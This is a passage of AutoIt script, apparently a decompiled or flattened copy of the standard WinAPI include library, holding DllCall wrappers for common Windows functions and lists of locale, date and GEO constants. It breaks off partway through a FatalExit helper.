  2747.     DllStructSetData($tpoint, "Y", $iy1)
  2748.     Return $tpoint
  2749. EndFunc
  2750.  
  2751. Func _winapi_postmessage($hwnd, $imsg, $wparam, $lparam)
  2752.     Local $aresult = DllCall("user32.dll", "bool", "PostMessage", "hwnd", $hwnd, "uint", $imsg, "wparam", $wparam, "lparam", $lparam)
  2753.     If @error Then Return SetError(@error, @extended, False)
  2754.     Return $aresult[0]
  2755. EndFunc
  2756.  
  2757. Func _winapi_primarylangid($ilngid)
  2758.     Return BitAND($ilngid, 1023)
  2759. EndFunc
  2760.  
  2761. Func _winapi_ptinrect(ByRef $trect, ByRef $tpoint)
  2762.     Local $aresult = DllCall("user32.dll", "bool", "PtInRect", "struct*", $trect, "struct", $tpoint)
  2763.     If @error Then Return SetError(@error, @extended, False)
  2764.     Return $aresult[0]
  2765. EndFunc
  2766.  
  2767. Func _winapi_readfile($hfile, $pbuffer, $itoread, ByRef $iread, $toverlapped = 0)
  2768.     Local $aresult = DllCall("kernel32.dll", "bool", "ReadFile", "handle", $hfile, "struct*", $pbuffer, "dword", $itoread, "dword*", 0, "struct*", $toverlapped)
  2769.     If @error Then Return SetError(@error, @extended, False)
  2770.     $iread = $aresult[4]
  2771.     Return $aresult[0]
  2772. EndFunc
  2773.  
  2774. Func _winapi_readprocessmemory($hprocess, $pbaseaddress, $pbuffer, $isize, ByRef $iread)
  2775.     Local $aresult = DllCall("kernel32.dll", "bool", "ReadProcessMemory", "handle", $hprocess, "ptr", $pbaseaddress, "struct*", $pbuffer, "ulong_ptr", $isize, "ulong_ptr*", 0)
  2776.     If @error Then Return SetError(@error, @extended, False)
  2777.     $iread = $aresult[5]
  2778.     Return $aresult[0]
  2779. EndFunc
  2780.  
  2781. Func _winapi_rectisempty(ByRef $trect)
  2782.     Return (DllStructGetData($trect, "Left") = 0) AND (DllStructGetData($trect, "Top") = 0) AND (DllStructGetData($trect, "Right") = 0) AND (DllStructGetData($trect, "Bottom") = 0)
  2783. EndFunc
  2784.  
  2785. Func _winapi_redrawwindow($hwnd, $trect = 0, $hregion = 0, $iflags = 5)
  2786.     Local $aresult = DllCall("user32.dll", "bool", "RedrawWindow", "hwnd", $hwnd, "struct*", $trect, "handle", $hregion, "uint", $iflags)
  2787.     If @error Then Return SetError(@error, @extended, False)
  2788.     Return $aresult[0]
  2789. EndFunc
  2790.  
  2791. Func _winapi_registerwindowmessage($smessage)
  2792.     Local $aresult = DllCall("user32.dll", "uint", "RegisterWindowMessageW", "wstr", $smessage)
  2793.     If @error Then Return SetError(@error, @extended, 0)
  2794.     Return $aresult[0]
  2795. EndFunc
  2796.  
  2797. Func _winapi_releasecapture()
  2798.     Local $aresult = DllCall("user32.dll", "bool", "ReleaseCapture")
  2799.     If @error Then Return SetError(@error, @extended, False)
  2800.     Return $aresult[0]
  2801. EndFunc
  2802.  
  2803. Func _winapi_releasedc($hwnd, $hdc)
  2804.     Local $aresult = DllCall("user32.dll", "int", "ReleaseDC", "hwnd", $hwnd, "handle", $hdc)
  2805.     If @error Then Return SetError(@error, @extended, False)
  2806.     Return $aresult[0]
  2807. EndFunc
  2808.  
  2809. Func _winapi_screentoclient($hwnd, ByRef $tpoint)
  2810.     Local $aresult = DllCall("user32.dll", "bool", "ScreenToClient", "hwnd", $hwnd, "struct*", $tpoint)
  2811.     If @error Then Return SetError(@error, @extended, False)
  2812.     Return $aresult[0]
  2813. EndFunc
  2814.  
  2815. Func _winapi_selectobject($hdc, $hgdiobj)
  2816.     Local $aresult = DllCall("gdi32.dll", "handle", "SelectObject", "handle", $hdc, "handle", $hgdiobj)
  2817.     If @error Then Return SetError(@error, @extended, False)
  2818.     Return $aresult[0]
  2819. EndFunc
  2820.  
  2821. Func _winapi_setbkcolor($hdc, $icolor)
  2822.     Local $aresult = DllCall("gdi32.dll", "INT", "SetBkColor", "handle", $hdc, "INT", $icolor)
  2823.     If @error Then Return SetError(@error, @extended, -1)
  2824.     Return $aresult[0]
  2825. EndFunc
  2826.  
  2827. Func _winapi_setbkmode($hdc, $ibkmode)
  2828.     Local $aresult = DllCall("gdi32.dll", "int", "SetBkMode", "handle", $hdc, "int", $ibkmode)
  2829.     If @error Then Return SetError(@error, @extended, 0)
  2830.     Return $aresult[0]
  2831. EndFunc
  2832.  
  2833. Func _winapi_setcapture($hwnd)
  2834.     Local $aresult = DllCall("user32.dll", "hwnd", "SetCapture", "hwnd", $hwnd)
  2835.     If @error Then Return SetError(@error, @extended, 0)
  2836.     Return $aresult[0]
  2837. EndFunc
  2838.  
  2839. Func _winapi_setcursor($hcursor)
  2840.     Local $aresult = DllCall("user32.dll", "handle", "SetCursor", "handle", $hcursor)
  2841.     If @error Then Return SetError(@error, @extended, 0)
  2842.     Return $aresult[0]
  2843. EndFunc
  2844.  
  2845. Func _winapi_setdefaultprinter($sprinter)
  2846.     Local $aresult = DllCall("winspool.drv", "bool", "SetDefaultPrinterW", "wstr", $sprinter)
  2847.     If @error Then Return SetError(@error, @extended, False)
  2848.     Return $aresult[0]
  2849. EndFunc
  2850.  
  2851. Func _winapi_setdibits($hdc, $hbitmap, $istartscan, $iscanlines, $pbits, $tbmi, $icoloruse = 0)
  2852.     Local $aresult = DllCall("gdi32.dll", "int", "SetDIBits", "handle", $hdc, "handle", $hbitmap, "uint", $istartscan, "uint", $iscanlines, "struct*", $pbits, "struct*", $tbmi, "INT", $icoloruse)
  2853.     If @error Then Return SetError(@error, @extended, False)
  2854.     Return $aresult[0]
  2855. EndFunc
  2856.  
  2857. Func _winapi_setendoffile($hfile)
  2858.     Local $aresult = DllCall("kernel32.dll", "bool", "SetEndOfFile", "handle", $hfile)
  2859.     If @error Then Return SetError(@error, @extended, False)
  2860.     Return $aresult[0]
  2861. EndFunc
  2862.  
  2863. Func _winapi_setevent($hevent)
  2864.     Local $aresult = DllCall("kernel32.dll", "bool", "SetEvent", "handle", $hevent)
  2865.     If @error Then Return SetError(@error, @extended, False)
  2866.     Return $aresult[0]
  2867. EndFunc
  2868.  
  2869. Func _winapi_setfilepointer($hfile, $ipos, $imethod = 0)
  2870.     Local $aresult = DllCall("kernel32.dll", "INT", "SetFilePointer", "handle", $hfile, "long", $ipos, "ptr", 0, "long", $imethod)
  2871.     If @error Then Return SetError(@error, @extended, -1)
  2872.     Return $aresult[0]
  2873. EndFunc
  2874.  
  2875. Func _winapi_setfocus($hwnd)
  2876.     Local $aresult = DllCall("user32.dll", "hwnd", "SetFocus", "hwnd", $hwnd)
  2877.     If @error Then Return SetError(@error, @extended, 0)
  2878.     Return $aresult[0]
  2879. EndFunc
  2880.  
  2881. Func _winapi_setfont($hwnd, $hfont, $bredraw = True)
  2882.     _sendmessage($hwnd, $__winapiconstant_wm_setfont, $hfont, $bredraw, 0, "hwnd")
  2883. EndFunc
  2884.  
  2885. Func _winapi_sethandleinformation($hobject, $imask, $iflags)
  2886.     Local $aresult = DllCall("kernel32.dll", "bool", "SetHandleInformation", "handle", $hobject, "dword", $imask, "dword", $iflags)
  2887.     If @error Then Return SetError(@error, @extended, False)
  2888.     Return $aresult[0]
  2889. EndFunc
  2890.  
  2891. Func _winapi_setlayeredwindowattributes($hwnd, $itranscolor, $itransgui = 255, $iflags = 3, $bcolorref = False)
  2892.     If $iflags = Default OR $iflags = "" OR $iflags < 0 Then $iflags = 3
  2893.     If NOT $bcolorref Then
  2894.         $itranscolor = Int(BinaryMid($itranscolor, 3, 1) & BinaryMid($itranscolor, 2, 1) & BinaryMid($itranscolor, 1, 1))
  2895.     EndIf
  2896.     Local $aresult = DllCall("user32.dll", "bool", "SetLayeredWindowAttributes", "hwnd", $hwnd, "INT", $itranscolor, "byte", $itransgui, "dword", $iflags)
  2897.     If @error Then Return SetError(@error, @extended, False)
  2898.     Return $aresult[0]
  2899. EndFunc
  2900.  
  2901. Func _winapi_setparent($hwndchild, $hwndparent)
  2902.     Local $aresult = DllCall("user32.dll", "hwnd", "SetParent", "hwnd", $hwndchild, "hwnd", $hwndparent)
  2903.     If @error Then Return SetError(@error, @extended, 0)
  2904.     Return $aresult[0]
  2905. EndFunc
  2906.  
  2907. Func _winapi_setprocessaffinitymask($hprocess, $imask)
  2908.     Local $aresult = DllCall("kernel32.dll", "bool", "SetProcessAffinityMask", "handle", $hprocess, "ulong_ptr", $imask)
  2909.     If @error Then Return SetError(@error, @extended, False)
  2910.     Return $aresult[0]
  2911. EndFunc
  2912.  
  2913. Func _winapi_setsyscolors($velements, $vcolors)
  2914.     Local $bisearray = IsArray($velements), $biscarray = IsArray($vcolors)
  2915.     Local $ielementnum
  2916.     If NOT $biscarray AND NOT $bisearray Then
  2917.         $ielementnum = 1
  2918.     ElseIf $biscarray OR $bisearray Then
  2919.         If NOT $biscarray OR NOT $bisearray Then Return SetError(-1, -1, False)
  2920.         If UBound($velements) <> UBound($vcolors) Then Return SetError(-1, -1, False)
  2921.         $ielementnum = UBound($velements)
  2922.     EndIf
  2923.     Local $telements = DllStructCreate("int Element[" & $ielementnum & "]")
  2924.     Local $tcolors = DllStructCreate("INT NewColor[" & $ielementnum & "]")
  2925.     If NOT $bisearray Then
  2926.         DllStructSetData($telements, "Element", $velements, 1)
  2927.     Else
  2928.         For $x = 0 To $ielementnum - 1
  2929.             DllStructSetData($telements, "Element", $velements[$x], $x + 1)
  2930.         Next
  2931.     EndIf
  2932.     If NOT $biscarray Then
  2933.         DllStructSetData($tcolors, "NewColor", $vcolors, 1)
  2934.     Else
  2935.         For $x = 0 To $ielementnum - 1
  2936.             DllStructSetData($tcolors, "NewColor", $vcolors[$x], $x + 1)
  2937.         Next
  2938.     EndIf
  2939.     Local $aresult = DllCall("user32.dll", "bool", "SetSysColors", "int", $ielementnum, "struct*", $telements, "struct*", $tcolors)
  2940.     If @error Then Return SetError(@error, @extended, False)
  2941.     Return $aresult[0]
  2942. EndFunc
  2943.  
  2944. Func _winapi_settextcolor($hdc, $icolor)
  2945.     Local $aresult = DllCall("gdi32.dll", "INT", "SetTextColor", "handle", $hdc, "INT", $icolor)
  2946.     If @error Then Return SetError(@error, @extended, -1)
  2947.     Return $aresult[0]
  2948. EndFunc
  2949.  
  2950. Func _winapi_setwindowlong($hwnd, $iindex, $ivalue)
  2951.     _winapi_setlasterror(0)
  2952.     Local $sfuncname = "SetWindowLongW"
  2953.     If @AutoItX64 Then $sfuncname = "SetWindowLongPtrW"
  2954.     Local $aresult = DllCall("user32.dll", "long_ptr", $sfuncname, "hwnd", $hwnd, "int", $iindex, "long_ptr", $ivalue)
  2955.     If @error Then Return SetError(@error, @extended, 0)
  2956.     Return $aresult[0]
  2957. EndFunc
  2958.  
  2959. Func _winapi_setwindowplacement($hwnd, $twindowplacement)
  2960.     Local $aresult = DllCall("user32.dll", "bool", "SetWindowPlacement", "hwnd", $hwnd, "struct*", $twindowplacement)
  2961.     If @error Then Return SetError(@error, @extended, False)
  2962.     Return $aresult[0]
  2963. EndFunc
  2964.  
  2965. Func _winapi_setwindowpos($hwnd, $hafter, $ix, $iy, $icx, $icy, $iflags)
  2966.     Local $aresult = DllCall("user32.dll", "bool", "SetWindowPos", "hwnd", $hwnd, "hwnd", $hafter, "int", $ix, "int", $iy, "int", $icx, "int", $icy, "uint", $iflags)
  2967.     If @error Then Return SetError(@error, @extended, False)
  2968.     Return $aresult[0]
  2969. EndFunc
  2970.  
  2971. Func _winapi_setwindowrgn($hwnd, $hrgn, $bredraw = True)
  2972.     Local $aresult = DllCall("user32.dll", "int", "SetWindowRgn", "hwnd", $hwnd, "handle", $hrgn, "bool", $bredraw)
  2973.     If @error Then Return SetError(@error, @extended, False)
  2974.     Return $aresult[0]
  2975. EndFunc
  2976.  
  2977. Func _winapi_setwindowshookex($ihook, $pproc, $hdll, $ithreadid = 0)
  2978.     Local $aresult = DllCall("user32.dll", "handle", "SetWindowsHookEx", "int", $ihook, "ptr", $pproc, "handle", $hdll, "dword", $ithreadid)
  2979.     If @error Then Return SetError(@error, @extended, 0)
  2980.     Return $aresult[0]
  2981. EndFunc
  2982.  
  2983. Func _winapi_setwindowtext($hwnd, $stext)
  2984.     Local $aresult = DllCall("user32.dll", "bool", "SetWindowTextW", "hwnd", $hwnd, "wstr", $stext)
  2985.     If @error Then Return SetError(@error, @extended, False)
  2986.     Return $aresult[0]
  2987. EndFunc
  2988.  
  2989. Func _winapi_showcursor($bshow)
  2990.     Local $aresult = DllCall("user32.dll", "int", "ShowCursor", "bool", $bshow)
  2991.     If @error Then Return SetError(@error, @extended, 0)
  2992.     Return $aresult[0]
  2993. EndFunc
  2994.  
  2995. Func _winapi_showerror($stext, $bexit = True)
  2996.     _winapi_msgbox($mb_systemmodal, "Error", $stext)
  2997.     If $bexit Then Exit
  2998. EndFunc
  2999.  
  3000. Func _winapi_showmsg($stext)
  3001.     _winapi_msgbox($mb_systemmodal, "Information", $stext)
  3002. EndFunc
  3003.  
  3004. Func _winapi_showwindow($hwnd, $icmdshow = 5)
  3005.     Local $aresult = DllCall("user32.dll", "bool", "ShowWindow", "hwnd", $hwnd, "int", $icmdshow)
  3006.     If @error Then Return SetError(@error, @extended, False)
  3007.     Return $aresult[0]
  3008. EndFunc
  3009.  
  3010. Func _winapi_stringfromguid($tguid)
  3011.     Local $aresult = DllCall("ole32.dll", "int", "StringFromGUID2", "struct*", $tguid, "wstr", "", "int", 40)
  3012.     If @error OR NOT $aresult[0] Then Return SetError(@error, @extended, "")
  3013.     Return SetExtended($aresult[0], $aresult[2])
  3014. EndFunc
  3015.  
  3016. Func _winapi_stringlena(Const ByRef $tstring)
  3017.     Local $aresult = DllCall("kernel32.dll", "int", "lstrlenA", "struct*", $tstring)
  3018.     If @error Then Return SetError(@error, @extended, 0)
  3019.     Return $aresult[0]
  3020. EndFunc
  3021.  
  3022. Func _winapi_stringlenw(Const ByRef $tstring)
  3023.     Local $aresult = DllCall("kernel32.dll", "int", "lstrlenW", "struct*", $tstring)
  3024.     If @error Then Return SetError(@error, @extended, 0)
  3025.     Return $aresult[0]
  3026. EndFunc
  3027.  
  3028. Func _winapi_sublangid($ilngid)
  3029.     Return BitShift($ilngid, 10)
  3030. EndFunc
  3031.  
  3032. Func _winapi_systemparametersinfo($iaction, $iparam = 0, $vparam = 0, $iwinini = 0)
  3033.     Local $aresult = DllCall("user32.dll", "bool", "SystemParametersInfoW", "uint", $iaction, "uint", $iparam, "struct*", $vparam, "uint", $iwinini)
  3034.     If @error Then Return SetError(@error, @extended, False)
  3035.     Return $aresult[0]
  3036. EndFunc
  3037.  
  3038. Func _winapi_twipsperpixelx()
  3039.     Local $hdc, $itwipsperpixelx
  3040.     $hdc = _winapi_getdc(0)
  3041.     $itwipsperpixelx = 1440 / _winapi_getdevicecaps($hdc, $__winapiconstant_logpixelsx)
  3042.     _winapi_releasedc(0, $hdc)
  3043.     Return $itwipsperpixelx
  3044. EndFunc
  3045.  
  3046. Func _winapi_twipsperpixely()
  3047.     Local $hdc, $itwipsperpixely
  3048.     $hdc = _winapi_getdc(0)
  3049.     $itwipsperpixely = 1440 / _winapi_getdevicecaps($hdc, $__winapiconstant_logpixelsy)
  3050.     _winapi_releasedc(0, $hdc)
  3051.     Return $itwipsperpixely
  3052. EndFunc
  3053.  
  3054. Func _winapi_unhookwindowshookex($hhook)
  3055.     Local $aresult = DllCall("user32.dll", "bool", "UnhookWindowsHookEx", "handle", $hhook)
  3056.     If @error Then Return SetError(@error, @extended, False)
  3057.     Return $aresult[0]
  3058. EndFunc
  3059.  
  3060. Func _winapi_updatelayeredwindow($hwnd, $hdestdc, $tptdest, $tsize, $hsrcdc, $tptsrce, $irgb, $tblend, $iflags)
  3061.     Local $aresult = DllCall("user32.dll", "bool", "UpdateLayeredWindow", "hwnd", $hwnd, "handle", $hdestdc, "struct*", $tptdest, "struct*", $tsize, "handle", $hsrcdc, "struct*", $tptsrce, "dword", $irgb, "struct*", $tblend, "dword", $iflags)
  3062.     If @error Then Return SetError(@error, @extended, False)
  3063.     Return $aresult[0]
  3064. EndFunc
  3065.  
  3066. Func _winapi_updatewindow($hwnd)
  3067.     Local $aresult = DllCall("user32.dll", "bool", "UpdateWindow", "hwnd", $hwnd)
  3068.     If @error Then Return SetError(@error, @extended, False)
  3069.     Return $aresult[0]
  3070. EndFunc
  3071.  
  3072. Func _winapi_waitforinputidle($hprocess, $itimeout = -1)
  3073.     Local $aresult = DllCall("user32.dll", "dword", "WaitForInputIdle", "handle", $hprocess, "dword", $itimeout)
  3074.     If @error Then Return SetError(@error, @extended, False)
  3075.     Return $aresult[0]
  3076. EndFunc
  3077.  
  3078. Func _winapi_waitformultipleobjects($icount, $pahandles, $bwaitall = False, $itimeout = -1)
  3079.     Local $aresult = DllCall("kernel32.dll", "INT", "WaitForMultipleObjects", "dword", $icount, "struct*", $pahandles, "bool", $bwaitall, "dword", $itimeout)
  3080.     If @error Then Return SetError(@error, @extended, -1)
  3081.     Return $aresult[0]
  3082. EndFunc
  3083.  
  3084. Func _winapi_waitforsingleobject($hhandle, $itimeout = -1)
  3085.     Local $aresult = DllCall("kernel32.dll", "INT", "WaitForSingleObject", "handle", $hhandle, "dword", $itimeout)
  3086.     If @error Then Return SetError(@error, @extended, -1)
  3087.     Return $aresult[0]
  3088. EndFunc
  3089.  
  3090. Func _winapi_widechartomultibyte($vunicode, $icodepage = 0, $bretstring = True)
  3091.     Local $sunicodetype = "wstr"
  3092.     If NOT IsString($vunicode) Then $sunicodetype = "struct*"
  3093.     Local $aresult = DllCall("kernel32.dll", "int", "WideCharToMultiByte", "uint", $icodepage, "dword", 0, $sunicodetype, $vunicode, "int", -1, "ptr", 0, "int", 0, "ptr", 0, "ptr", 0)
  3094.     If @error OR NOT $aresult[0] Then Return SetError(@error + 20, @extended, "")
  3095.     Local $tmultibyte = DllStructCreate("char[" & $aresult[0] & "]")
  3096.     $aresult = DllCall("kernel32.dll", "int", "WideCharToMultiByte", "uint", $icodepage, "dword", 0, $sunicodetype, $vunicode, "int", -1, "struct*", $tmultibyte, "int", $aresult[0], "ptr", 0, "ptr", 0)
  3097.     If @error OR NOT $aresult[0] Then Return SetError(@error + 10, @extended, "")
  3098.     If $bretstring Then Return DllStructGetData($tmultibyte, 1)
  3099.     Return $tmultibyte
  3100. EndFunc
  3101.  
  3102. Func _winapi_windowfrompoint(ByRef $tpoint)
  3103.     Local $aresult = DllCall("user32.dll", "hwnd", "WindowFromPoint", "struct", $tpoint)
  3104.     If @error Then Return SetError(@error, @extended, 0)
  3105.     Return $aresult[0]
  3106. EndFunc
  3107.  
  3108. Func _winapi_writeconsole($hconsole, $stext)
  3109.     Local $aresult = DllCall("kernel32.dll", "bool", "WriteConsoleW", "handle", $hconsole, "wstr", $stext, "dword", StringLen($stext), "dword*", 0, "ptr", 0)
  3110.     If @error Then Return SetError(@error, @extended, False)
  3111.     Return $aresult[0]
  3112. EndFunc
  3113.  
  3114. Func _winapi_writefile($hfile, $pbuffer, $itowrite, ByRef $iwritten, $toverlapped = 0)
  3115.     Local $aresult = DllCall("kernel32.dll", "bool", "WriteFile", "handle", $hfile, "struct*", $pbuffer, "dword", $itowrite, "dword*", 0, "struct*", $toverlapped)
  3116.     If @error Then Return SetError(@error, @extended, False)
  3117.     $iwritten = $aresult[4]
  3118.     Return $aresult[0]
  3119. EndFunc
  3120.  
  3121. Func _winapi_writeprocessmemory($hprocess, $pbaseaddress, $pbuffer, $isize, ByRef $iwritten, $sbuffer = "ptr")
  3122.     Local $aresult = DllCall("kernel32.dll", "bool", "WriteProcessMemory", "handle", $hprocess, "ptr", $pbaseaddress, $sbuffer, $pbuffer, "ulong_ptr", $isize, "ulong_ptr*", 0)
  3123.     If @error Then Return SetError(@error, @extended, False)
  3124.     $iwritten = $aresult[5]
  3125.     Return $aresult[0]
  3126. EndFunc
  3127.  
  3128. Global Const $linguistic_ignorecase = 16
  3129. Global Const $linguistic_ignorediacritic = 32
  3130. Global Const $norm_ignorecase = 1
  3131. Global Const $norm_ignorekanatype = 65536
  3132. Global Const $norm_ignorenonspace = 2
  3133. Global Const $norm_ignoresymbols = 4
  3134. Global Const $norm_ignorewidth = 131072
  3135. Global Const $norm_linguistic_casing = 134217728
  3136. Global Const $sort_digitsasnumbers = 8
  3137. Global Const $sort_stringsort = 4096
  3138. Global Const $cstr_less_than = 1
  3139. Global Const $cstr_equal = 2
  3140. Global Const $cstr_greater_than = 3
  3141. Global Const $mui_language_id = 4
  3142. Global Const $mui_language_name = 8
  3143. Global Const $date_autolayout = 64
  3144. Global Const $date_longdate = 2
  3145. Global Const $date_ltrreading = 16
  3146. Global Const $date_shortdate = 1
  3147. Global Const $date_rtlreading = 32
  3148. Global Const $date_use_alt_calendar = 4
  3149. Global Const $date_yearmonth = 8
  3150. Global Const $geo_nation = 1
  3151. Global Const $geo_latitude = 2
  3152. Global Const $geo_longitude = 3
  3153. Global Const $geo_iso2 = 4
  3154. Global Const $geo_iso3 = 5
  3155. Global Const $geo_rfc1766 = 6
  3156. Global Const $geo_lcid = 7
  3157. Global Const $geo_friendlyname = 8
  3158. Global Const $geo_officialname = 9
  3159. Global Const $geo_timezones = 10
  3160. Global Const $geo_officiallanguages = 11
  3161. Global Const $geo_iso_un_number = 12
  3162. Global Const $geo_parent = 13
  3163. Global Const $locale_ilanguage = 1
  3164. Global Const $locale_slanguage = 2
  3165. Global Const $locale_senglanguage = 4097
  3166. Global Const $locale_sabbrevlangname = 3
  3167. Global Const $locale_snativelangname = 4
  3168. Global Const $locale_icountry = 5
  3169. Global Const $locale_scountry = 6
  3170. Global Const $locale_sengcountry = 4098
  3171. Global Const $locale_sabbrevctryname = 7
  3172. Global Const $locale_snativectryname = 8
  3173. Global Const $locale_idefaultlanguage = 9
  3174. Global Const $locale_idefaultcountry = 10
  3175. Global Const $locale_idefaultcodepage = 11
  3176. Global Const $locale_idefaultansicodepage = 4100
  3177. Global Const $locale_idefaultmaccodepage = 4113
  3178. Global Const $locale_slist = 12
  3179. Global Const $locale_imeasure = 13
  3180. Global Const $locale_sdecimal = 14
  3181. Global Const $locale_sthousand = 15
  3182. Global Const $locale_sgrouping = 16
  3183. Global Const $locale_idigits = 17
  3184. Global Const $locale_ilzero = 18
  3185. Global Const $locale_inegnumber = 4112
  3186. Global Const $locale_snativedigits = 19
  3187. Global Const $locale_scurrency = 20
  3188. Global Const $locale_sintlsymbol = 21
  3189. Global Const $locale_smondecimalsep = 22
  3190. Global Const $locale_smonthousandsep = 23
  3191. Global Const $locale_smongrouping = 24
  3192. Global Const $locale_icurrdigits = 25
  3193. Global Const $locale_iintlcurrdigits = 26
  3194. Global Const $locale_icurrency = 27
  3195. Global Const $locale_inegcurr = 28
  3196. Global Const $locale_sdate = 29
  3197. Global Const $locale_stime = 30
  3198. Global Const $locale_sshortdate = 31
  3199. Global Const $locale_slongdate = 32
  3200. Global Const $locale_stimeformat = 4099
  3201. Global Const $locale_idate = 33
  3202. Global Const $locale_ildate = 34
  3203. Global Const $locale_itime = 35
  3204. Global Const $locale_itimemarkposn = 4101
  3205. Global Const $locale_icentury = 36
  3206. Global Const $locale_itlzero = 37
  3207. Global Const $locale_idaylzero = 38
  3208. Global Const $locale_imonlzero = 39
  3209. Global Const $locale_s1159 = 40
  3210. Global Const $locale_s2359 = 41
  3211. Global Const $locale_icalendartype = 4105
  3212. Global Const $locale_ioptionalcalendar = 4107
  3213. Global Const $locale_ifirstdayofweek = 4108
  3214. Global Const $locale_ifirstweekofyear = 4109
  3215. Global Const $locale_sdayname1 = 42
  3216. Global Const $locale_sdayname2 = 43
  3217. Global Const $locale_sdayname3 = 44
  3218. Global Const $locale_sdayname4 = 45
  3219. Global Const $locale_sdayname5 = 46
  3220. Global Const $locale_sdayname6 = 47
  3221. Global Const $locale_sdayname7 = 48
  3222. Global Const $locale_sabbrevdayname1 = 49
  3223. Global Const $locale_sabbrevdayname2 = 50
  3224. Global Const $locale_sabbrevdayname3 = 51
  3225. Global Const $locale_sabbrevdayname4 = 52
  3226. Global Const $locale_sabbrevdayname5 = 53
  3227. Global Const $locale_sabbrevdayname6 = 54
  3228. Global Const $locale_sabbrevdayname7 = 55
  3229. Global Const $locale_smonthname1 = 56
  3230. Global Const $locale_smonthname2 = 57
  3231. Global Const $locale_smonthname3 = 58
  3232. Global Const $locale_smonthname4 = 59
  3233. Global Const $locale_smonthname5 = 60
  3234. Global Const $locale_smonthname6 = 61
  3235. Global Const $locale_smonthname7 = 62
  3236. Global Const $locale_smonthname8 = 63
  3237. Global Const $locale_smonthname9 = 64
  3238. Global Const $locale_smonthname10 = 65
  3239. Global Const $locale_smonthname11 = 66
  3240. Global Const $locale_smonthname12 = 67
  3241. Global Const $locale_smonthname13 = 4110
  3242. Global Const $locale_sabbrevmonthname1 = 68
  3243. Global Const $locale_sabbrevmonthname2 = 69
  3244. Global Const $locale_sabbrevmonthname3 = 70
  3245. Global Const $locale_sabbrevmonthname4 = 71
  3246. Global Const $locale_sabbrevmonthname5 = 72
  3247. Global Const $locale_sabbrevmonthname6 = 73
  3248. Global Const $locale_sabbrevmonthname7 = 74
  3249. Global Const $locale_sabbrevmonthname8 = 75
  3250. Global Const $locale_sabbrevmonthname9 = 76
  3251. Global Const $locale_sabbrevmonthname10 = 77
  3252. Global Const $locale_sabbrevmonthname11 = 78
  3253. Global Const $locale_sabbrevmonthname12 = 79
  3254. Global Const $locale_sabbrevmonthname13 = 4111
  3255. Global Const $locale_spositivesign = 80
  3256. Global Const $locale_snegativesign = 81
  3257. Global Const $locale_ipossignposn = 82
  3258. Global Const $locale_inegsignposn = 83
  3259. Global Const $locale_ipossymprecedes = 84
  3260. Global Const $locale_ipossepbyspace = 85
  3261. Global Const $locale_inegsymprecedes = 86
  3262. Global Const $locale_inegsepbyspace = 87
  3263. Global Const $locale_fontsignature = 88
  3264. Global Const $locale_siso639langname = 89
  3265. Global Const $locale_siso3166ctryname = 90
  3266. Global Const $locale_idefaultebcdiccodepage = 4114
  3267. Global Const $locale_ipapersize = 4106
  3268. Global Const $locale_sengcurrname = 4103
  3269. Global Const $locale_snativecurrname = 4104
  3270. Global Const $locale_syearmonth = 4102
  3271. Global Const $locale_ssortname = 4115
  3272. Global Const $locale_idigitsubstitution = 4116
  3273. Global Const $locale_custom_default = 3072
  3274. Global Const $locale_custom_ui_default = 5120
  3275. Global Const $locale_custom_unspecified = 4096
  3276. Global Const $locale_invariant = 127
  3277. Global Const $locale_system_default = 2048
  3278. Global Const $locale_user_default = 1024
  3279. Global Const $time_force24hourformat = 8
  3280. Global Const $time_nominutesorseconds = 1
  3281. Global Const $time_noseconds = 2
  3282. Global Const $time_notimemarker = 4
  3283. Global Const $lcid_installed = 1
  3284. Global Const $lcid_supported = 2
  3285. #Region Global Variables and Constants
  3286.     Global $__g_venum, $__g_vext = 0
  3287.     Global $__g_hheap = 0, $__g_irgbmode = 1
  3288.     Global Const $tagosversioninfo = "struct;dword OSVersionInfoSize;dword MajorVersion;dword MinorVersion;dword BuildNumber;dword PlatformId;wchar CSDVersion[128];endstruct"
  3289.     Global Const $__winver = __winver()
  3290. #EndRegion Global Variables and Constants
  3291. #Region Functions list
  3292. #EndRegion Functions list
  3293. #Region Public Functions
  3294.  
  3295.     Func _winapi_arraytostruct(Const ByRef $adata, $istart = 0, $iend = -1)
  3296.         If __checkerrorarraybounds($adata, $istart, $iend) Then Return SetError(@error + 10, @extended, 0)
  3297.         Local $tagstruct = ""
  3298.         For $i = $istart To $iend
  3299.             $tagstruct &= "wchar[" & (StringLen($adata[$i]) + 1) & "];"
  3300.         Next
  3301.         Local $tdata = DllStructCreate($tagstruct & "wchar[1]")
  3302.         Local $icount = 1
  3303.         For $i = $istart To $iend
  3304.             DllStructSetData($tdata, $icount, $adata[$i])
  3305.             $icount += 1
  3306.         Next
  3307.         DllStructSetData($tdata, $icount, ChrW(0))
  3308.         Return $tdata
  3309.     EndFunc
  3310.  
  3311.     Func _winapi_createmargins($ileftwidth, $irightwidth, $itopheight, $ibottomheight)
  3312.         Local $tmargins = DllStructCreate($tagmargins)
  3313.         DllStructSetData($tmargins, 1, $ileftwidth)
  3314.         DllStructSetData($tmargins, 2, $irightwidth)
  3315.         DllStructSetData($tmargins, 3, $itopheight)
  3316.         DllStructSetData($tmargins, 4, $ibottomheight)
  3317.         Return $tmargins
  3318.     EndFunc
  3319.  
  3320.     Func _winapi_createpoint($ix, $iy)
  3321.         Local $tpoint = DllStructCreate($tagpoint)
  3322.         DllStructSetData($tpoint, 1, $ix)
  3323.         DllStructSetData($tpoint, 2, $iy)
  3324.         Return $tpoint
  3325.     EndFunc
  3326.  
  3327.     Func _winapi_createrect($ileft, $itop, $iright, $ibottom)
  3328.         Local $trect = DllStructCreate($tagrect)
  3329.         DllStructSetData($trect, 1, $ileft)
  3330.         DllStructSetData($trect, 2, $itop)
  3331.         DllStructSetData($trect, 3, $iright)
  3332.         DllStructSetData($trect, 4, $ibottom)
  3333.         Return $trect
  3334.     EndFunc
  3335.  
  3336.     Func _winapi_createrectex($ix, $iy, $iwidth, $iheight)
  3337.         Local $trect = DllStructCreate($tagrect)
  3338.         DllStructSetData($trect, 1, $ix)
  3339.         DllStructSetData($trect, 2, $iy)
  3340.         DllStructSetData($trect, 3, $ix + $iwidth)
  3341.         DllStructSetData($trect, 4, $iy + $iheight)
  3342.         Return $trect
  3343.     EndFunc
  3344.  
  3345.     Func _winapi_createsize($iwidth, $iheight)
  3346.         Local $tsize = DllStructCreate($tagsize)
  3347.         DllStructSetData($tsize, 1, $iwidth)
  3348.         DllStructSetData($tsize, 2, $iheight)
  3349.         Return $tsize
  3350.     EndFunc
  3351.  
  3352.     Func _winapi_fatalexit($icode)
  3353.         DllCall("kernel32.dll", "none", "FatalExit", "int", $icode)
  3354.         If @error Then Return SetError(@error, @extended)
